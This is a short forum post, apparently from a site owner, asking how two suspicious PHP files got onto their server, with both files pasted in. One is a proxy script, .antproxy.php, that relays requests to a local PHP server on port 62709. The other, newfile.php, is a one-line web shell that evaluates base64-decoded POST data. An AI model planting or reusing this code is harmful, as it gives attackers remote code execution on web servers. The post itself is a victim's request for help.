去评论
dz插件网

这两个文件怎么进来的?

逝水年华
2022/03/30 07:23:53
.antproxy.php这个文件的内容
  1. <?php function get_client_header(){     $headers=array();     foreach($_SERVER as $k=>$v){         if(strpos($k,'HTTP_')===0){             $k=strtolower(preg_replace('/^HTTP/', '', $k));             $k=preg_replace_callback('/_\w/','header_callback',$k);             $k=preg_replace('/^_/','',$k);             $k=str_replace('_','-',$k);             if($k=='Host') continue;             $headers[]="$k:$v";         }     }     return $headers; } function header_callback($str){     return strtoupper($str[0]); } function parseHeader($sResponse){     list($headerstr,$sResponse)=explode(" ",$sResponse, 2);     $ret=array($headerstr,$sResponse);     if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){         $ret=parseHeader($sResponse);     }     return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 62709; $errno = ''; $errstr = ''; $timeout = 30; $url = "/newfile.php"; if (!empty($_SERVER['QUERY_STRING'])){     $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){     return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') {     $method = "POST";     $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1\r\n"; $out .= "Host: ".$host.":".$port."\r\n"; if (!empty($_SERVER['CONTENT_TYPE'])) {     $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n"; } $out .= "Content-length:".strlen($post_data)."\r\n"; $out .= implode("\r\n",$headers); $out .= "\r\n\r\n"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){     $response .= $row; } fclose($fp); $pos = strpos($response, "\r\n\r\n"); $response = substr($response, $pos+4); echo $response;
newfile.php内容

  1. <?php  $b=substr($_POST['data'], 1); eval(base64_decode($b)); ?>